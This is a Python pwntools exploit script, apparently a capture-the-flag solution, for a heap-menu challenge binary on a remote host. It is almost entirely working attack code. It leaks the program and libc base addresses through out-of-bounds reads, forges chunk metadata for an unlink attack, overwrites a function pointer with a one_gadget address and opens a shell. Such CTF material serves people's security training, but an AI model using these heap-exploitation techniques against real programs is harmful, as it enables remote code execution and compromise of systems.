1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
|
''' author: GeekCmore time: 2025-02-26 15:45:14 ''' from pwn import *
filename = "pwn_patched" libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6_2.31-0ubuntu9.16_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node.vnteam.cn" port = 46038 elf = context.binary = ELF(filename) context.log_level = 'debug' context.terminal = ['wt.exe', 'wsl'] if libcname: libc = ELF(libcname) gs = ''' set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6-dbg_2.31-0ubuntu9.16_amd64/usr/lib/debug '''+"n\n"*20+""" b *$rebase(0x1771) b *$rebase(0x15bf) """
def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)
menu = b"Please select an option:\n"
def add(index, size): io.sendlineafter(menu, b"1") io.sendlineafter(b"Enter customer ID:\n", str(index).encode()) io.sendlineafter(b'Enter allocated data size:\n', str(size).encode())
def free(index): io.sendlineafter(menu, b"2") io.sendlineafter(b"Enter customer ID to remove:\n", str(index).encode())
def show(offset): io.sendlineafter(menu, b"4") io.sendlineafter(b"Enter customer ID to view:\n", str(offset).encode()) def edit(index, offset, data): io.sendlineafter(menu, b"3") io.sendlineafter(b"Enter customer ID to update:\n", str(index).encode()) io.sendlineafter(b"Enter data length:\n", str(offset).encode()) io.sendafter(b"Enter updated customer details:\n", data)
io = start()
show(-0x58//8) io.recvuntil(b"Customer Profile:\n") base = u64(io.recvuntil(b"\n")[:-1].ljust(8, b"\x00")) - 0x4068 log.success(f"base>>> {hex(base)}") ptr = base + 0x40c0 + 0x10
add(0, 0x20000) add(1, 0x20000) add(2, 0x20000)
edit(1, -0x10, p64(0x20ff0) + p64(0x430))
edit(1, -0x10-0x20ff0, p64(0x0)+p64(0x20ff1)) edit(1, -0x10-0x20ff0+0x10, p64(ptr-0x18)+p64(ptr-0x10))
edit(1, -0x10+0x430, p64(0x430)+p64(0x431)) edit(1, -0x10+0x430+0x430, p64(0x430)+p64(0x431))
edit(0, 0x20008, p64(0xffffffdeadbee1)) free(1)
edit(2, (0x40c8-0x40b8), p64(base+0x4020)) show(1) io.recvuntil(b"Customer Profile:\n") libc_base = u64(io.recvuntil(b"\n")[:-1].ljust(8, b"\x00")) - libc.sym["puts"] log.success(f"libc_base>>> {hex(libc_base)}")
ogg = libc_base + [0xe3afe, 0xe3b01, 0xe3b04][1]
edit(2, (0x4050-0x40b8), p64(ogg)) io.sendlineafter(menu, b"5")
io.interactive()
|